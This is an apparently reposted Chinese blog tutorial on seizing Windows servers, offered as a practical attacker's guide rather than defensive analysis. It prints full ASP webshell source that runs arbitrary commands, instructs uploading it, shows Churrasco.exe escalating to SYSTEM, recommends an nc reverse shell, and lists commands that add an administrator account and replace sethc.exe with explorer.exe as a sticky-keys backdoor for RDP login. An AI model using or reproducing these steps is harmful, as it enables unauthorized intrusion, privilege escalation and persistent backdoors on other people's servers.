zoukankan      html  css  js  c++  java
  • SHIFT后门拿服务器之方法总结

    提权工具如下:cmd.exe Churrasco.exe nc.exe

    提权前提:Wscript组件成功开启

    如果Wscript组件被关闭,则使用以下方法开启:

    源代码:

    <object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>  

    <%if err then%>

    <object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>

    <%

    end if %>

    <form method="post">

    <input type=text name="cmdx" size=60 value="C:RECYCLERcmd.exe"><br>

    <input type=text name="cmd" size=60><br>

    <input type=submit value="net user"></form>

    <textarea readonly cols=80 rows=20>

    <%On Error Resume Next

    if request("cmdx")="C:RECYCLERcmd.exe" then

    response.write oScriptlhn.exec("cmd.exe /c"&request("cmd")).stdout.readall

    end if

    response.write oScriptlhn.exec(request("cmdx")&" /c"&request("cmd")).stdout.readall

    %>

    </textarea>

    将源代码保存为1.asp并上传到webshell里,IE访问1.asp,如没有出错等就说明可以执行CMD命令!

    下面先来将Churrasco.exe怎么用才能更好的发挥它的作用!有很多朋友问我为什么我上传的Churrasco.exe执行命令时没有出现命令成功 原因有几种这里我就不多说了!那么这时我们要想到Churrasco.exe行命令时没有出现命令成功 但出现/churrasco/-->Current User: NETWORK SERVICE

    /churrasco/-->Getting Rpcss PID ...

    /churrasco/-->Found Rpcss PID: 696

    /churrasco/-->Searching for Rpcss threads ...

    /churrasco/-->Found Thread: 444

    /churrasco/-->Thread not impersonating, looking for another thread...

    /churrasco/-->Found Thread: 700

    /churrasco/-->Thread not impersonating, looking for another thread...

    /churrasco/-->Found Thread: 704

    /churrasco/-->Thread not impersonating, looking for another thread...

    /churrasco/-->Found Thread: 712

    /churrasco/-->Thread impersonating, got NETWORK SERVICE Token: 0xf24

    /churrasco/-->Getting SYSTEM token from Rpcss Service...

    /churrasco/-->Found szywjs Token

    /churrasco/-->Found SYSTEM token 0xf1c

    /churrasco/-->Running command with SYSTEM Token...

     

    直到这里 没有出现命令执行成功 那么这时你千万不要放弃!离成功加差一步!这里你就用NC进行反弹一个CMDSHELL看下如果反弹回来的CMDSHELL权限很大的话那我就不用说了!如果说权限很小的这里你也有很大的希望了!

     

    在反弹回来的CMDSHELL里执行 C:RECYCLERChurrasco.exe "net user iisuser iisuser /add”
      C:RECYCLERChurrasco.exe "net localgroup administrators iisuser /add"
      C:RECYCLERChurrasco.exe 这里是你所传到的目录!这样可以说90%的出现命令执行成功!这样就可以进行3389连接了!
      如果说这时没有出现命令执行成功 下面我就再告诉你一种方法!
      如下 依次执行:
      attrib c:windowssystem32sethc.exe -h -r -s
      attrib c:windowssystem32dllcachesethc.exe -h -r -s
      del c:windowssystem32sethc.exe
      copy c:windowsexplorer.exe c:windowssystem32sethc.exe
      copy c:windowssystem32sethc.exe c:windowssystem32dllcachesethc.exe
      attrib c:windowssystem32sethc.exe +h +r +s
      attrib c:windowssystem32dllcachesethc.exe +h +r +s
      如果出现拒绝等错误 那就没法了!如果说这台服务器先是被别人拿过了做了shift后门 那么就是100%成功!本人亲自    用这方法成功替换过别人带有密码的SHIFT后门!
      还有一点就是在webSHELL里或CMDSHELL下也可以这样执行!
      C:RECYCLERChurrasco.exe "copy d:windowsexplorer.exe d:windowssystem32sethc.exe"
      C:RECYCLERChurrasco.exe "copy d:windowssystem32sethc.exe d:windowssystem32dllcachesethc.exe "
      还有就是attrib 加属性等也可以这样执行!还有一点忘了就是在反弹回来的CMDSHELL里用这种方法也可以!
      这样就可以利用SHIft后门成功拿下服务器了。

  • 相关阅读:
    [Todo]很不错的Java面试题类型整理,要看
    [Todo] Java并发编程学习
    自建一个Java Spring MVC项目
    [Todo] 乐观悲观锁,自旋互斥锁等等
    [Todo] Redis里面队列的两种模式,以及抢红包在Redis中的实现
    hdu 4704 同余定理+普通快速幂
    [置顶] ubuntu 和 win7 远程登陆 + vnc登陆
    mysql之触发器
    Jsoup API解析HTML中input标签
    IOS UITableView单条刷新,数据不刷新解决方案
  • 原文地址:https://www.cnblogs.com/milantgh/p/3593781.html
Copyright © 2011-2022 走看看